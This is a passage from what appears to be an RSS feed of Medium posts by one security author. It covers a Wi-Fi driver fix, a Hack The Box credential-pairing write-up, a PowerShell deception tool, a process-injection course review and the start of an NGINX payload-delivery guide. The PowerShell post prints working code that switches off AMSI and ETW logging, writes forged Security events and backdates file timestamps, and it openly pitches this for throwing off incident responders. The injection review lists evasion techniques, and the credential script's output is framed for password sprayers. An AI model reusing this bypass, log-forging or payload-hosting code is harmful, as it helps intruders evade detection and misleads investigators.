linux-headers-amd64 firmware-atheros -y</pre><p>This pulls the 6.12.43+deb12 kernel from the Parrot backports repository and the latest Atheros firmware package, which includes the correct ath12k_pci firmware for WCN7850.</p><h3>2. Reboot</h3><pre>sudo reboot</pre><p>Verify the new kernel version:</p><pre>uname -r</pre><p>Expected output:</p><pre>6.12.43+deb12-amd64</pre><h3>3. Check That the Driver Loads</h3><pre>sudo dmesg | grep ath12k</pre><p>You should see:</p><pre>ath12k_pci ... firmware loaded: WCN7850/hw2</pre><p>At this point, the Wi-Fi interface should appear in iw dev or your network manager.</p><h3>4. Lock the Kernel to Prevent Future Breakage</h3><p>To keep the kernel fixed while still allowing tool and system updates:</p><pre>sudo apt-mark hold linux-image-amd64 linux-headers-amd64 \<br>linux-image-6.12.43+deb12-amd64 linux-headers-6.12.43+deb12-amd64</pre><p>This prevents future upgrades from overwriting the working kernel setup.</p><h3>5. Continue Normal Updates</h3><p>Parrot tools and other packages can still be updated safely.</p><pre>sudo apt update &amp;&amp; sudo apt full-upgrade -y &amp;&amp; sudo parrot-upgrade</pre><h3>6. Verify Module Installation</h3><p>If you want to confirm that the driver modules exist:</p><pre>find /lib/modules/$(uname -r) -type f -name &quot;ath12k*.ko&quot;</pre><p>Output example:</p><pre>/lib/modules/6.12.43+deb12-amd64/kernel/drivers/net/wireless/ath/ath12k/ath12k_pci.ko</pre><h3>What This Fix Does</h3><ul><li>Adds complete <strong>ath12k</strong> firmware support for <strong>WCN7850</strong></li><li>Ensures <strong>kernel </strong>and <strong>header</strong> parity for module compilation</li><li>Locks <strong>kernel upgrades</strong> to preserve functionality</li><li>Keeps <strong>Parrot tools and security updates </strong>operational</li></ul><h3>Result</h3><p>Wi-Fi 7 now works on Parrot OS without custom patches, module rebuilding, or manual firmware placement. The system boots cleanly, ath12k_pci loads automatically, and wireless functionality is stable across reboots and updates.</p><h3>Closing Thoughts</h3><p>This configuration was built and verified after multiple failed attempts to manually patch or compile drivers. It’s a straightforward, permanent solution using Parrot’s own repositories — no external repos or manual kernel builds required.</p><p>Credit to the open-source maintainers of the <strong>ath12k</strong> driver and firmware stack. Without their work, WCN7850 support on Linux wouldn’t exist.</p><p><strong>Author:</strong> Cody Richard<br> <em>Red Team | Threat Intelligence | Offensive Security</em><br> <a href="https://www.linkedin.com/in/codyjrichard">LinkedIn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=18cf91b24174" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cred Hunter-Finding Gold in a Noisy Credential Dump]]></title>
            <link>https://ssstrickys.medium.com/cred-hunter-finding-gold-in-a-noisy-credential-dump-c6b28b2e2584?source=rss-322a725f72eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/c6b28b2e2584</guid>
            <dc:creator><![CDATA[Cody Richard]]></dc:creator>
            <pubDate>Fri, 01 Aug 2025 09:12:29 GMT</pubDate>
            <atom:updated>2025-08-01T10:03:19.457Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/629/0*orGNBm-qOq83HgSN.png" /></figure><p>Credential abuse doesn’t always start with phishing or zero-days. Sometimes, all it takes is predictable behavior and a forgotten logging platform.</p><p>In this coding challenge, we pivot off a quietly exposed system an internal analytics service used by CygnusCorp leaking a large volume of unsanitized telemetry. Nothing exotic. Just thousands of plaintext strings dumped from staging tools, QA test beds, and behavioral analysis platforms.</p><p>But within that noise is signal real credentials, waiting to be correlated.</p><pre>https://app.hackthebox.com/challenges/Cred%2520Hunter</pre><h3>The Premise</h3><h4>CygnusCorp standardizes user identities across the company.</h4><p>All internal email addresses use a fixed pattern.</p><blockquote><em>firstname + first letter of last name @ company domain</em></blockquote><blockquote><em>The domains vary (</em><em>cygnus.com, </em><em>cygnuscloud.com, </em><em>cygnuscorp.eu, </em><em>cygnusdevs.eu), but the naming format is always lowercase.</em></blockquote><blockquote><em>Examples Shown:</em></blockquote><blockquote><em>joicep@cygnusdevs.eu</em></blockquote><blockquote><em>lisabethf@cygnuscloud.com</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*TALR5VAPQYUHGSN-.png" /><figcaption>Structure of the format</figcaption></figure><p>Based on internal telemetry habits, we also know users tend to <strong>reuse their first names in passwords </strong>often as prefixes, sometimes embedded inside longer strings.</p><h3>Objective</h3><p>From a mixed dump of email-like and password-like strings, extract all valid (email, password) pairs using only.</p><blockquote><em>String matching.</em></blockquote><blockquote><em>Naming pattern correlation.</em></blockquote><blockquote><em>Structural validation not brute-force or guessing.</em></blockquote><h3>Strategy Breakdown</h3><pre>Real-World TTP and Logic.<br><br>┌───────────────────────────┐<br>│        Log Leakage        │<br>└────────────┬──────────────┘<br>             │<br>             ▼<br>   Exposed QA Telemetry or Dump<br>             │<br>             ▼<br>  Extract Emails + Passwords with Regex<br>             │<br>             ▼<br>  Correlate Naming Patterns (first names)<br>             │<br>             ▼<br>  Validate Against Web Panel / RDP / API / SSH<br>             │<br>             ▼<br>   Gain Foothold → Priv Esc → Lateral Movement</pre><h3>This is how we approached it function by function.</h3><h3>1. Filter Emails from Garbage</h3><pre>email_regex = re.compile(r&#39;^[a-z]+\w?@[a-z]+\.(com|eu|cloud)$&#39;)</pre><blockquote><em>Simple lowercase regex.</em></blockquote><blockquote><em>Filters out real emails from junk, hashes, and other noise.</em></blockquote><blockquote><em>Assumes anything that doesn’t match this is a candidate password.</em></blockquote><p>In real-world dumps, structure is rare. Regex helps carve out deterministic ground from unstructured input.</p><h3>Extract First Names from Local Parts</h3><pre>local = email.split(&#39;@&#39;)[0]      # e.g., joicep<br>first = local[:-1]               # e.g , joice</pre><blockquote><em>Remove the last character the last-name initial.</em></blockquote><blockquote><em>Leaves us with a clean first name.</em></blockquote><blockquote><em>This becomes our key to correlate against the password list.</em></blockquote><p>If your email is michaelj@corp.com, your password is probably michael123, michael!2023, or worse which is most likley reused across environments this directly is non OP-SEC-Safe but happens in the wild way to often.</p><h3>Match Passwords That Contain the First Name</h3><pre>if first in password:<br>    result.append((email, password))</pre><blockquote><em>Basic sub-string match.</em></blockquote><blockquote><em>Case-sensitive by design.</em></blockquote><blockquote><em>Only retains passwords that contain the first name anywhere.</em></blockquote><p>This reflects a common anti-pattern in internal environments: using one’s name in a password for dev systems, test accounts, or legacy services with weak policy enforcement.</p><h3>Output Cleaned Credential Pairs</h3><pre>for email, pwd in sorted(result):<br>    print(f&quot;{email} {pwd}&quot;)</pre><blockquote><em>Sorted by email, then by password.</em></blockquote><blockquote><em>Clean output format for chaining into other tools sprayers, validators, etc.</em></blockquote><h3>Sample Input</h3><pre>lisabethf@cygnuscloud.com<br>nevin2024!@<br>nevinn@cygnus.com<br>lisabeth2024<br>joiceqwerty2025<br>joicep@cygnusdevs.eu<br>2025joiceTheDev!@</pre><h3>Output</h3><pre>joicep@cygnusdevs.eu 2025joiceTheDev!@<br>joicep@cygnusdevs.eu joiceqwerty2025<br>lisabethf@cygnuscloud.com lisabeth2024<br>nevinn@cygnus.com nevin2024!@</pre><p>Every password here contains the corresponding user’s first name<strong> </strong>exactly what we wanted and are hunting.</p><h3>Why This Works</h3><p>You don’t need API keys, exploits, or even privileged access when the credential hygiene is this poor. If users are leaking information.</p><blockquote><em>Internal email formats</em></blockquote><blockquote><em>Naming policies</em></blockquote><blockquote><em>Password patterns …you can build access paths without ever sending a packet.</em></blockquote><p>This is how attackers get initial foothold into dev, test, and eventually prod just by connecting dots that most defenders overlook.</p><h3>Final Script</h3><pre>import re<br><br>def match_email_password_pairs(lines):<br>    matched = []<br>    pattern = re.compile(r&#39;^[a-z]+\w?@[a-z]+\.(com|eu)$&#39;)<br>    email_list = [item for item in lines if pattern.fullmatch(item)]<br>    password_list = [item for item in lines if item not in email_list]<br>    email_names = {<br>        email: email.split(&#39;@&#39;)[0][:-1]<br>        for email in email_list<br>        if len(email.split(&#39;@&#39;)[0]) &gt; 1<br>    }<br>    for email, name in email_names.items():<br>        for pw in password_list:<br>            if name in pw:<br>                matched.append((email, pw))<br>    for email, pw in sorted(matched):<br>        print(f&quot;{email} {pw}&quot;)<br>if __name__ == &quot;__main__&quot;:<br>    count = int(input())<br>    input_lines = [input().strip() for _ in range(count)]<br>    match_email_password_pairs(input_lines)</pre><h3>Super Easy Final Version (Not Recommended)</h3><pre>import re<br><br>def extract_pairs(data):<br>    is_email = re.compile(r&#39;^[a-z]+\w?@[a-z]+\.(com|eu)$&#39;).fullmatch<br>    emails = [x for x in data if is_email(x)]<br>    passwords = set(data) - set(emails)  # faster lookup<br>    pairs = []<br>    for email in emails:<br>        user = email.split(&#39;@&#39;)[0]<br>        if len(user) &gt; 1:<br>            name = user[:-1]<br>            pairs.extend(<br>                (email, pw) for pw in passwords if name in pw<br>            )<br>    for e, p in sorted(pairs):<br>        print(f&quot;{e} {p}&quot;)<br>if __name__ == &quot;__main__&quot;:<br>    n = int(input())<br>    dump = [input().strip() for _ in range(n)]<br>    extract_pairs(dump)</pre><h3>Why This Version Works but Risky.</h3><blockquote><em>Reduces memory usage by using set operations.</em></blockquote><blockquote><em>Speeds up membership checks especially for large datasets.</em></blockquote><blockquote><em>Cuts clutter fewer moving parts, same logic.</em></blockquote><blockquote><em>Keeps the loop tight easier to read, easier to trace.</em></blockquote><h3>When to Use This Stripped Version.</h3><blockquote><em>In tight CTF scenarios where input is controlled.</em></blockquote><blockquote><em>With clean, well-structured dumps.</em></blockquote><blockquote><em>For quick wins when the data structure logic want to work correctly with you.</em></blockquote><h3>Why This Challenge Matters</h3><blockquote><em>This isn’t just a regex puzzle. This is real-world reconnaissance.</em></blockquote><blockquote><em>We’re not cracking hashes. We’re not phishing. We’re reading what users leak when they reuse credentials across systems and when orgs log them without sanitation.</em></blockquote><blockquote><em>Attackers weaponize predictability.<br>Defenders must eliminate it.</em></blockquote><h3>Key Lessons</h3><blockquote><em>Avoid real names in usernames or passwords.</em></blockquote><blockquote><em>Sanitize logs, telemetry, and analytics pipelines.</em></blockquote><blockquote><em>Rotate credentials used in test systems.</em></blockquote><blockquote><em>Assume anything exposed even fake data will be mined for patterns.</em></blockquote><h3>Final Flag</h3><pre>HTB{th4t_1s_4n_0bvi0us_p41r1ng}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c6b28b2e2584" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VX-Hallucinate: Forging Artifacts and Confusing Defenders with Power-Shell]]></title>
            <link>https://ssstrickys.medium.com/vx-hallucinate-forging-artifacts-and-confusing-defenders-with-power-shell-509c526ac17f?source=rss-322a725f72eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/509c526ac17f</guid>
            <dc:creator><![CDATA[Cody Richard]]></dc:creator>
            <pubDate>Sat, 12 Apr 2025 21:45:13 GMT</pubDate>
            <atom:updated>2025-04-14T06:39:48.266Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Power-Shell continues to be a double-edged sword in cybersecurity.</strong> For blue teams, it’s a tool for automation and visibility. For red teams, it’s a stealthy vehicle for post-exploitation. But what if we used Power-Shell not for attacks — but for deception?</p><p><strong>“VX-Hallucinate</strong> is a defensive red team tool within the RootStorm-X framework.<br> It generates high-fidelity fake artifacts — <strong>logons, Sysmon events, dropped payloads, and pipes</strong> — all while <strong>evading AMSI and ETW</strong>.</p><p>Let’s break this down function by function.z</p><h3>1. Invoke-StealthBypass: Kill AMSI and ETW Logging</h3><pre>function Invoke-StealthBypass {<br>    try {<br>        [Reflection.Assembly]::LoadWithPartialName(&quot;System.Core&quot;) | Out-Null<br>        $eventProviderField = [System.Diagnostics.Tracing.EventProvider].GetField(&quot;m_enabled&quot;, &quot;NonPublic,Instance&quot;)<br>        $etwProvider = [Ref].Assembly.GetType(&quot;System.Management.Automation.Tracing.PSEtwLogProvider&quot;)<br>                                .GetField(&quot;etwProvider&quot;, &quot;NonPublic,Static&quot;)<br>                                .GetValue($null)<br>        $eventProviderField.SetValue($etwProvider, 0)<br>    } catch {}<br><br>    try {<br>        $amsiType = [Ref].Assembly.GetType(&quot;System.Management.Automation.AmsiUtils&quot;)<br>        $amsiField = $amsiType.GetField(&quot;amsiInitFailed&quot;, &quot;NonPublic,Static&quot;)<br>        $amsiField.SetValue($null, $true)<br>    } catch {}<br>}</pre><p>What’s going on:</p><p>AMSI Bypass disables runtime script scanning by forcing .amsiInitFailed = true.</p><p>ETW Bypass goes deeper than typical approaches. It disables the internal EventProvider.m_enabled flag used for forwarding PowerShell logs to Windows Event Tracing.</p><p>This makes script execution stealthy — no logs, no Defender alerts, and minimal telemetry.</p><h3>2. Get-RandomUser &amp; Get-RandomIP: Realistic Faker Functions</h3><pre>function Get-RandomUser {<br>    $prefixes = @(<br>        &#39;svc&#39;, &#39;admin&#39;, &#39;ops&#39;, &#39;guest&#39;, &#39;backup&#39;, &#39;sql&#39;, &#39;conf&#39;,<br>        &#39;svc_kafka&#39;, &#39;admin_backup&#39;, &#39;ops_jenkins&#39;, &#39;conf_vault&#39;,<br>        &#39;svc_puppet&#39;, &#39;svc_splunk&#39;, &#39;ops_gitlab&#39;<br>    )<br>    return &quot;$($prefixes | Get-Random)_$((Get-Random -Min 100 -Max 999))&quot;<br>}function Get-RandomIP {<br>    return &quot;10.$(Get-Random -Min 1 -Max 254).$(Get-Random -Min 0 -Max 255).$(Get-Random -Min 1 -Max 254)&quot;<br>}</pre><p>These are simple generators that simulate <strong>typical usernames and internal IPs</strong> often seen in corporate networks.</p><h3>3. Write-DeceptionLog: Forge Your Own Event Logs</h3><pre>function Write-DeceptionLog {<br>    param ([int]$EventID, [string]$Message)<br>    try {<br>        if (-not [System.Diagnostics.EventLog]::SourceExists(&#39;VXGhostLog&#39;)) {<br>            New-EventLog -LogName Security -Source VXGhostLog<br>        }<br>        Write-EventLog -LogName Security -Source VXGhostLog -EventId $EventID -EntryType Information -Message $Message<br>    } catch {}<br>}</pre><blockquote><em>If running as Administrator, this function creates a </em><strong><em>new EventLog source</em></strong><em> and injects fake security events.</em></blockquote><p>This is powerful for:</p><ul><li>Throwing off incident response teams</li><li>Mimicking malicious behavior (e.g. logon, service install)</li></ul><h3>4. Forge-FakeEvents: Simulate Security Incidents</h3><pre>function Forge-FakeEvents {<br>    for ($i = 0; $i -lt (Get-Random -Min 3 -Max 6); $i++) {<br>        $user = Get-RandomUser<br>        $ip = Get-RandomIP<br>        $svc = &quot;vxghostsvc_$user&quot;<br>        $url = &quot;http://$ip/lure.ps1&quot;<br><br>        Write-DeceptionLog -EventID 4624 -Message &quot;Logon Success - User: $user From: $ip&quot;<br>        Write-DeceptionLog -EventID 4672 -Message &quot;Privileged Access Granted - $user&quot;<br>        Write-DeceptionLog -EventID 7045 -Message &quot;Service Installed: $svc&quot;<br>        Write-DeceptionLog -EventID 4104 -Message &quot;ScriptBlock Executed via IEX: $url&quot;<br><br>        Start-Sleep -Milliseconds (Get-Random -Min 100 -Max 300)<br>    }<br>}</pre><h3>Why this matters:</h3><p>Fakes four high-fidelity event IDs:</p><ul><li>4624 (Logon)</li><li>4672 (Admin rights)</li><li>7045 (Service install)</li><li>4104 (PowerShell execution)</li></ul><p>Mimics <strong>real attacks</strong>, making defenders <strong>chase ghosts</strong>.</p><h3>5. Forge-SysmonArtifacts: Drop Fake Sysmon Logs</h3><pre>function Forge-SysmonArtifacts {<br>    $procNames = @(&quot;svchost&quot;, &quot;conhost&quot;, &quot;dllhost&quot;, &quot;rundll32&quot;, &quot;mshta&quot;, &quot;wmiprvse&quot;)<br>    $proc = $procNames | Get-Random<br>    $user = Get-RandomUser<br><br>    $event = @{<br>        EventID     = 1<br>        Image       = &quot;C:\\Windows\\Temp\\$proc.exe&quot;<br>        CommandLine = &quot;$proc.exe -s&quot;<br>        UtcTime     = (Get-Date).ToUniversalTime().ToString(&quot;o&quot;)<br>        User        = $user<br>    }<br><br>    $outPath = &quot;C:\\ProgramData\\Sysmon\\vxhallucinate_$((Get-Random -Min 10000 -Max 99999)).json&quot;<br>    $event | ConvertTo-Json -Depth 3 | Out-File -FilePath $outPath -Encoding ascii<br>    Set-FakeTimestamp -Path $outPath<br>}</pre><blockquote><em>Important: This doesn’t inject real Sysmon events — it just creates JSON files </em><strong><em>formatted like they came from Sysmon</em></strong><em>.</em></blockquote><p>Why that’s useful:</p><ul><li>Tricks responders during disk forensics</li><li>Looks <strong>high-fidelity</strong> at first glance</li><li>Perfect decoys for threat hunting exercises</li></ul><h3>6. Set-FakeTimestamp: Backdate Like a Pro</h3><pre>function Set-FakeTimestamp {<br>    param ([string]$Path)<br>    $ts = Get-Date &quot;2015-05-04 12:34:56&quot;<br>    [System.IO.File]::SetCreationTime($Path, $ts)<br>    [System.IO.File]::SetLastWriteTime($Path, $ts)<br>    [System.IO.File]::SetLastAccessTime($Path, $ts)<br>}</pre><p>Set a file’s creation, access, and modified timestamps to look like it came from <strong>way in the past</strong> — a classic anti-forensics move.</p><h3>7. Forge-DecoyFiles: Drop Bait Files in %TEMP%</h3><pre>function Forge-DecoyFiles {<br>    $dropPath = &quot;$env:TEMP\vxghost_$((Get-Random -Min 1000 -Max 9999)).dat&quot;<br>    Set-Content -Path $dropPath -Value &quot;[VX] Ghost Payload Start&quot; -Force<br>    Set-FakeTimestamp -Path $dropPath<br>}</pre><p>This function simulates dropped artifacts, like:</p><ul><li>Payload staging files</li><li>Beacon configs</li><li>Keyloggers</li></ul><p>…but they’re harmless. Just bait.</p><h3>8. New-FakeNamedPipe: Fake Malicious IPC</h3><pre>function New-FakeNamedPipe {<br>    $pipeName = &quot;\\.\pipe\vxghost_$((Get-Random -Min 100 -Max 999))&quot;<br>    $pipe = New-Object System.IO.Pipes.NamedPipeServerStream($pipeName)<br>    Start-Sleep -Milliseconds (Get-Random -Min 500 -Max 800)<br>    $pipe.Dispose()<br>}</pre><p>A classic malware indicator: named pipes like \\.\pipe\backdoor_svc or \\.\pipe\mimikatz_123.</p><p>This creates <strong>fake ones</strong> for telemetry confusion.</p><h3>Final Entry Point: Invoke-VXHallucinate</h3><pre>function Invoke-VXHallucinate {<br>    Invoke-StealthBypass<br>    Forge-FakeEvents<br>    Forge-SysmonArtifacts<br>    Forge-DecoyFiles<br>    New-FakeNamedPipe<br>}<br><br>Invoke-VXHallucinate</pre><p>With a single function call, we:</p><ul><li>Bypass AMSI/ETW</li><li>Generate realistic security logs</li><li>Plant believable system artifacts</li><li>Confuse the hell out of forensics tooling</li></ul><h3>Summary: Why This Matters</h3><p>This script is <strong>not malware</strong>. It doesn’t exfiltrate, execute shell-code, or persist. It’s <strong>a tool for blue team stress testing</strong>, <strong>forensic deception</strong>, and <strong>red team storytelling</strong>.</p><p>You can use it to:</p><ul><li>Validate detection engineering</li><li>Test alert fatigue</li><li>Simulate stealthy intrusions in a training lab</li></ul><h3>⚠️ Disclosure &amp; Ethical Use Notice</h3><blockquote>VX-Hallucinate – Deception Simulation Tool</blockquote><blockquote>Copyright © 2024 Cody Richard</blockquote><blockquote>License: Research Use Only – Non-Commercial</blockquote><blockquote>VX-Hallucinate is a red team simulation and forensic deception tool designed to support lawful use in:</blockquote><ul><li>Blue team alert fatigue testing and SOC tuning.</li><li>Detection engineering validation.</li><li>Red/purple team adversary emulation under engagement rules.</li><li>Threat hunting and IR training in lab environments.</li><li>CTF, educational, or cyber range exercises.</li></ul><blockquote>What This Tool Does Not Do:</blockquote><ul><li>It does not exploit vulnerabilities, escalate privileges, persist, or execute real shellcode.</li><li>It does not exfiltrate, beacon, or interface with command-and-control infrastructure.</li><li>It does not manipulate memory or perform runtime injection.</li><li>It. only generates fake forensic artifacts and logs to simulate attacker behavior.</li></ul><blockquote>Unauthorised Use Is Strictly Prohibited:</blockquote><blockquote>You must not use VX-Hallucinate to:</blockquote><ul><li>Bypass security controls in live or production environments.</li><li>Evade detection during unauthorized intrusion attempts.</li><li>Interfere with legal incident response or investigations.</li><li>Conduct operations that violate local, state, federal, or international cybercrime laws.</li></ul><blockquote>Legal &amp; Ethical Framework:</blockquote><blockquote>Use of this tool must comply with:</blockquote><ul><li>The Computer Fraud and Abuse Act (CFAA)</li><li>The Budapest Convention on Cybercrime.</li><li>Corporate Red Team Rules of Engagement.</li><li>Internal Acceptable Use and Security Policies.</li></ul><blockquote>By using this tool, you agree:</blockquote><ul><li>To accept full responsibility for your usage.</li><li>To hold the author(s) and publisher(s) harmless from any misuse, damages, or legal consequences.</li><li>To deploy it only in authorized, sandboxed, and non-production settings.</li></ul><blockquote>Intended Use Only:</blockquote><blockquote>VX-Hallucinate is published in good faith for:</blockquote><ul><li>Ethical security research.</li><li>Defender training and readiness.</li><li>Adversary simulation modelling.</li><li>Development of threat detection capabilities.</li></ul><blockquote>If you are unsure whether your use of this tool is authorized or legal, consult your legal or compliance team before deployment.</blockquote><blockquote>Author: Cody Richard (@ssstrickys)</blockquote><blockquote>License Type: Custom Non-Commercial Red Team Research License.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=509c526ac17f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Becoming a Certified Process Injection Analyst: My Journey Through CyberWarFare Labs’ Masterclass]]></title>
            <link>https://ssstrickys.medium.com/becoming-a-certified-process-injection-analyst-my-journey-through-cyberwarfare-labs-masterclass-079144be149b?source=rss-322a725f72eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/079144be149b</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[devops]]></category>
            <dc:creator><![CDATA[Cody Richard]]></dc:creator>
            <pubDate>Fri, 28 Mar 2025 20:50:33 GMT</pubDate>
            <atom:updated>2025-03-28T20:59:19.755Z</atom:updated>
            <content:encoded><![CDATA[<p>As part of my continuous journey into advanced red team tradecraft, I enrolled in <strong>CyberWarFare Labs’ Certified Process Injection Analyst Certification</strong>. Led by <strong>John Sherchan</strong>. A seasoned red team researcher with deep experience in AV/EDR evasion and Windows internals this course took me deep into the mechanics of modern process injection.</p><p>In this <strong>post</strong>, I’ll <strong>walk</strong> you through what I learned: from the <strong>classic</strong> techniques all the way to <strong>cutting-edge stealthy methods</strong> like Process Herpaderping, Ghosting, and Mockingjay.</p><p><strong>Why Process Injection Still Matters</strong></p><p>In an age of <strong>EDRs</strong>, <strong>sysmon</strong>, and <strong>Memory scanners. Process injection</strong> remains a core evasion strategy for malware and red teamers alike. If you can execute payloads inside trusted processes, you can bypass most perimeter defenses and endpoint protection systems.</p><p>But today’s detection landscape has evolved – many “<strong>classic</strong>” methods are noisy and monitored. That’s where this course shines: by covering both legacy and modern process injection techniques, including how to adapt to defender behavior.</p><p><strong>The Injection Mindset</strong></p><p>All techniques revolve around three core questions:</p><p><strong>1</strong>.	How do I access the remote process?</p><p><strong>2</strong>.	How do I write my shellcode to it?</p><p><strong>3</strong>.	How do I get it to execute?</p><p>To <strong>answer</strong> these, we leveraged a deep stack of APIs: from high-level Win32 APIs like OpenProcess and CreateRemoteThread to the stealthier NT APIs like NtAllocateVirtualMemory, NtCreateSection, and NtCreateThreadEx.</p><p><strong>Techniques I Learned</strong></p><p>Here’s a breakdown of each technique we studied:</p><ol><li><strong>Classic Process Injection</strong></li></ol><p><strong>Overview</strong>: The standard method – allocate memory in a remote process, write shellcode, and create a remote thread.</p><p><strong>APIs Used</strong>:</p><p>OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread</p><p><strong>Detection</strong>: High. AVs monitor this heavily.</p><p>2. <strong>APC Injection</strong> (<strong>Asynchronous Procedure Calls</strong>)</p><p><strong>Concept</strong>: Queue your shellcode to a thread’s APC queue. It runs only when the thread enters an alertable state (e.g. via SleepEx).</p><p><strong>Detection</strong>: Medium. Needs good timing or thread control.</p><p>3. <strong>Section Mapping</strong></p><p><strong>Concept</strong>: Create a shared memory section (NtCreateSection) and map it into both the attacker and target process. Write to your own view; execute in theirs.</p><p><strong>Detection</strong>: Low. Memory mapping avoids traditional allocation APIs.</p><p>4. <strong>Module Stomping</strong></p><p><strong>Concept</strong>: Load a legitimate DLL into the target process, overwrite its entry point with shellcode, and execute it.</p><p><strong>Key Benefit</strong>: Executes from legit-looking memory regions – no VirtualAllocEx or protection changes needed.</p><p>5. <strong>Process Hollowing</strong></p><p><strong>Concept</strong>: Spawn a legit process in suspended mode, unmap its memory, and replace it with your own payload. Resume the thread and go live.</p><p><strong>Use Case</strong>: Great for persistence + stealth. Still a go-to for many threat actors.</p><p>6. <strong>Process Doppelgänging</strong></p><p><strong>Concept</strong>: Abuse Windows NTFS transactions to load a malicious payload and roll it back before the OS even sees the change.</p><p><strong>Detection</strong>: Low, but requires specific conditions and privileges.</p><p>7. <strong>Transacted Hollowing</strong></p><p><strong>Concept</strong>: Hybrid of hollowing + doppelgänging. Uses NTFS transactions, then replaces a legitimate image section in a suspended process.</p><p><strong>Benefit</strong>: Combines stealth of both techniques.</p><p>8. <strong>Process Herpaderping</strong></p><p><strong>Concept</strong>: After creating a process from a temp file, overwrite the file’s content before it’s scanned – keeping what’s in memory stealthy.</p><p><strong>Detection</strong>: Very low. File on disk != what’s running in memory.</p><p>9. <strong>Process Ghosting</strong></p><p><strong>Concept</strong>: Create a process from a delete-pending file, making it invisible to AVs and file scanners.</p><p><strong>Key Poin</strong>t: You write your payload, mark the file for deletion, and execute from memory.</p><p>10. <strong>Dirty Vanity</strong></p><p><strong>Concept</strong>: Clone the target process after writing shellcode into it – executing your code from the clone, not the original.</p><p><strong>Detection</strong>: Bypasses most classic detection logic like remote thread creation.</p><p>11. <strong>Mockingjay</strong></p><p><strong>Concept</strong>: Inject code into already-loaded DLLs with RWX memory sections, skipping the need for VirtualAllocEx or VirtualProtect.</p><p><strong>Key Tools</strong>:</p><p>JayFinder to find RWX DLLs</p><p>Self-injection &amp; remote injection techniques</p><p><strong>Detection</strong>: Extremely low. One of the most stealthy modern methods.</p><p><strong>Final Thoughts</strong></p><p>This course didn’t just teach me how to “inject code” – it forced me to think like a malware developer, understand Windows internals, and navigate the world of stealthy execution. With each technique, I became more confident in detecting, crafting, and defending against process injection in the wild.</p><p>If you’re a red teamer, malware analyst, or defender looking to up your game, this cert and lab experience is absolutely worth it.</p><p>You can check out the certification here: <a href="https://cyberwarfare.live/product/process-injection-analyst-cpia/">CyberWarfare Labs Certified Process Injection Analyst</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*zxZBR5N4jLYOcNWSqo-HZA@2x.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=079144be149b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering NGINX for Red Team Operations: A Hands-On Guide]]></title>
            <link>https://ssstrickys.medium.com/got-it-below-is-a-fully-formatted-medium-friendly-version-with-proper-spacing-bold-highlights-08bc69f97113?source=rss-322a725f72eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/08bc69f97113</guid>
            <category><![CDATA[nginx]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Cody Richard]]></dc:creator>
            <pubDate>Thu, 27 Mar 2025 20:25:59 GMT</pubDate>
            <atom:updated>2025-03-27T20:46:31.205Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Red Teamers and penetration testers</strong> are constantly refine their tactics, techniques, and procedures (TTPs). One of the most effective ways to simulate real-world adversary infrastructure is through NGINX – leveraging it for payload delivery, IP-based access control, and evasion techniques.</p><p><strong>The Red Team Infra Dev certification provides a hands-on experience in setting up an NGINX-based infrastructure that:</strong></p><p>Restricts payload delivery to specific IP addresses</p><p>Implements file extension spoofing to mask payloads</p><p>Enforces rate limiting to prevent brute-force attempts</p><p>Logs unauthorized access attempts for monitoring</p><p><strong>If you’re interested in building stealthy Red Team infrastructure, this certification is a must-have</strong>!</p><p><strong>What You’ll Learn</strong></p><p>By completing the Red Team Infra Dev certification, you’ll gain skills in:</p><p>IP-based filtering – Ensure payloads are delivered only to trusted assets</p><p>Extension spoofing – Masking malicious files to evade detection</p><p>Rate limiting – Preventing brute-force access attempts</p><p>Logging and monitoring – Capturing unauthorized access attempts</p><p><strong>By the end of this guide, you’ll have a working NGINX-based Red Team infrastructure that can be used in adversary simulations, penetration tests, or CTF challenges.</strong></p><p><strong>Step-by-Step Breakdown</strong></p><p>1️⃣ <strong>Installing NGINX on Parrot OS</strong></p><p><strong>The first step is to install and start NGINX</strong></p><blockquote>sudo apt update</blockquote><blockquote>sudo apt install nginx -y</blockquote><p><strong>Once installed, enable and verify the service</strong></p><blockquote>sudo systemctl start nginx</blockquote><blockquote>sudo systemctl enable nginx</blockquote><blockquote>sudo systemctl status nginx</blockquote><p>2️⃣ <strong>Creating and Hosting the Payload</strong></p><p>Next, we create a payload directory and place our payload inside:</p><blockquote>sudo mkdir -p /var/www/html/payloads</blockquote><blockquote>sudo nano /var/www/html/payloads/file.bat</blockquote><p><strong>Now, set proper permissions to avoid unauthorized modifications</strong></p><blockquote>sudo chown -R www-data:www-data /var/www/html/payloads</blockquote><blockquote>sudo chmod -R 755 /var/www/html/payloads</blockquote><p>3️⃣ <strong>Configuring NGINX for Secure Access</strong></p><p>We now modify the NGINX configuration to:</p><p>Serve the payload only to an authorized IP</p><p>Spoof the file extension (e.g., delivering .bat as .update)</p><p><strong>Implement rate limiting</strong></p><p>4️⃣ <strong>Editing the NGINX configuration file</strong></p><blockquote>sudo nano 